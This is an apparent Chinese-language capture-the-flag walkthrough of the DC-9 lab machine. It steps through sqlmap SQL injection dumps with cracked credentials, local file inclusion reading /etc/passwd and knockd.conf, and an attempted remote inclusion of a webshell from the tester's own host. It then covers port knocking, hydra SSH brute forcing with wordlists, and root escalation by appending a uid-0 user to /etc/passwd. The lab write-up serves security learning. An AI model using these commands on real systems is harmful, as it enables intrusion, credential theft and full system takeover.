【CyberSecurityLearning 78】DC系列之DC-9渗透测试
目錄
DC-9靶機滲透測試
1、信息收集
1.1 掃描開放的端口
1.2 訪問WEB站點
2. SQL注入
3、admin登錄后臺
4、嘗試文件包含
4.1 利用 LFI 查看 /etc/knockd.conf 文件內容
4.2 hydra 爆破用戶名和密碼
5. 登錄SSH
6、提權
6.1 構造root權限用戶
?
DC-9靶機滲透測試
實驗環境:
kali IP:192.168.3.196/24
DC-9的MAC地址:00:50:56:34:52:EA(IP為192.18.3.198)
1、信息收集
1.1 掃描開放的端口
1.2 訪問WEB站點
在 search 下表單輸入內容提交發現跳轉到 results.php 頁面,抓包查看數據包
發現在 /results.php 進行了 POST 傳參,參數為 search=1,嘗試使用 sqlmap 進行爆數據
2. SQL注入
點擊search,也就是在search.php頁面中,輸入Mary' and 1=1#和Mary' and 1=2#,前者返回Mary的結果,后者為空,存在sql注入。
爆數據庫:sqlmap -u http://192.168.3.198/results.php --data 'search=1' --dbs
注意--data 選項的用法
查看當前數據庫:sqlmap -u http://192.168.3.198/results.php --data 'search=1' --current-db??? (current database: 'Staff')
查看Staff數據庫中的表:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "Staff" --tables(發現StaffDetails表和 Users表)
查看Users中字段:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "Staff" -T "Users" --columns(對Password和Usename字段感興趣)
查看Password和Username字段內容:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "Staff" -T "Users" -C "Password|Username" --dump? (彈出的都選y,否則爆出來的密碼沒解密)
?
Password:856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)???
Username:admin ?????
解碼后為admin:transorbital1
爆users數據庫的表:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "users" --tables? (UserDetails)
查看UserDetails中字段:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "users" -T "UserDetails" --columns
查看password和username字段內容:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "users" -T "UserDetails" -C "password" --dump
我太傻了,直接看表不就好了:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D users -T UserDetails --dump
查看Users表:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D Staff -T Users --dump
解碼后為admin:transorbital1
3、admin登錄后臺
登入后發現有 File does not exist 字樣,疑似有文件包含!!!
4、嘗試文件包含
http://192.168.3.198/manage.php?file=../../../../../../etc/passwd
發現有本地文件包含(LFI)
然后接下來嘗試看看有沒有遠程文件包含(RFI)
http://192.168.3.198/manage.php?file=http://192.168.3.90/yjh.php(在本地web根目錄寫一個yjh.php)
發現不允許遠程文件包含!
接下來不知道怎么辦了,看看大佬的思路是利用 LFI 查看 /etc/knockd.conf 文件內容
4.1 利用 LFI 查看 /etc/knockd.conf 文件內容
knockd.conf文件端口敲門服務,用于將服務器隱藏,也是這個原因讓22端口給過濾了。(將ssh隱藏了起來)
利用文件包含來查看knockd.conf文件,獲得自定義端口,然后逐個進行敲門,這樣我們就能夠開啟ssh端口
knochd 服務:
在使用此服務時,他人訪問你的端口會顯示 close 狀態,只有按照特定順序(配置文件)訪問規定端口后才會開放被訪問的端口,依次訪問特定端口后才會關閉被訪問的端口
?file=../../../../../etc/knockd.conf
使用nmap:
nmap -p 7469,8475,9842 192.168.3.198
nmap -p 8475 192.168.3.198
nmap -p 9842 192.168.3.198
4.2 hydra 爆破用戶名和密碼
name.txt:
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
admin
passwd.txt:
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
transorbital1
命令:hydra -L name.txt -P passwd.txt 192.168.3.198 ssh
[22][ssh] host: 192.168.3.198?? login: chandlerb?? password: UrAG0D!
[22][ssh] host: 192.168.3.198?? login: joeyt?? password: Passw0rd
[22][ssh] host: 192.168.3.198?? login: janitor?? password: Ilovepeepee
5. 登錄SSH
一個一個登錄看看,有沒有什么有用的東西。
ssh janitor@192.168.3.198
進去看看
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
增加在pass.txt后重新進行爆破
發現新增加了一個用戶:login: fredf?? password: B4-Tru3-001
使用fredf登錄ssh:ssh fredf@192.168.3.198
?
6、提權
思路1、sudo -l(查看有沒有一些命令在執行期間有root權限標簽沒有密碼保護——行不通!)
發現 /opt/devstuff/dist/test/test 可以無需密碼以 root 權限執行
思路2、查看有沒有一些具有suid權限的命令
find / -perm /4000 2>/dev/null
進入/opt/devstuff目錄下,看到test.py文件
#!/usr/bin/pythonimport sysif len (sys.argv) != 3 :print ("Usage: python test.py read append")sys.exit (1)else :f = open(sys.argv[1], "r")output = (f.read())f = open(sys.argv[2], "a")f.write(output)f.close()test.py的功能是把一個文件的內容寫到另一個文件中
含義:可以看到該腳本是判斷參數是否為 3 個,如果是 3 個,將第二個文件中內容讀出,寫到第三個文件末尾)
test目錄可以root權限執行:
因為我們可以以 root 權限執行該腳本,所以我們嘗試構造數據進行對 /etc/passwd 進行添加
6.1 構造root權限用戶
openssl passwd -1 -salt toor 123456??? #構造toor用戶密碼為123456的hash
$1$toor$9mBAQXqhpCXpTk7V6d/kI0
構造結果:toor:$1$toor$9mBAQXqhpCXpTk7V6d/kI0:0:0::/root:/bin/bash
復習:
root? :? x? :? 0? :? 0? :? root? :? /root? :? /bin/bash
HSP?? :? x? :? 500? :? 500? :? :? /home/HSP? :?? /bin/bash
字段1:用戶名稱
字段2:密碼占位符
字段3:用戶的uid (0表示超級用戶,500-60000表示普通用戶,1-499表示程序用戶)程序用戶不允許登錄系統
字段4:基本組的gid(先有組才有用戶,先建立組再建立用戶)
字段5:用戶信息記錄字段(這個字段基本上廢棄了)
字段6:用戶的家目錄
字段7:用戶登錄系統后使用的命令解釋器
echo 'toor:$1$toor$9mBAQXqhpCXpTk7V6d/kI0:0:0::/root:/bin/bash'>/tmp/toor???? #將其寫入/tmp/toor文件中
cd /opt/devstuff/dist/test??? #進入腳本路徑
sudo ./test /tmp/toor /etc/passwd??? #使用腳本
su toor??? #切換用戶
輸入密碼:123456
?
總結
以上是生活随笔為你收集整理的【CyberSecurityLearning 78】DC系列之DC-9渗透测试的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 作者:朱扬勇,复旦大学计算机科学技术学院
- 下一篇: Vulnhub靶机渗透之 AI: Web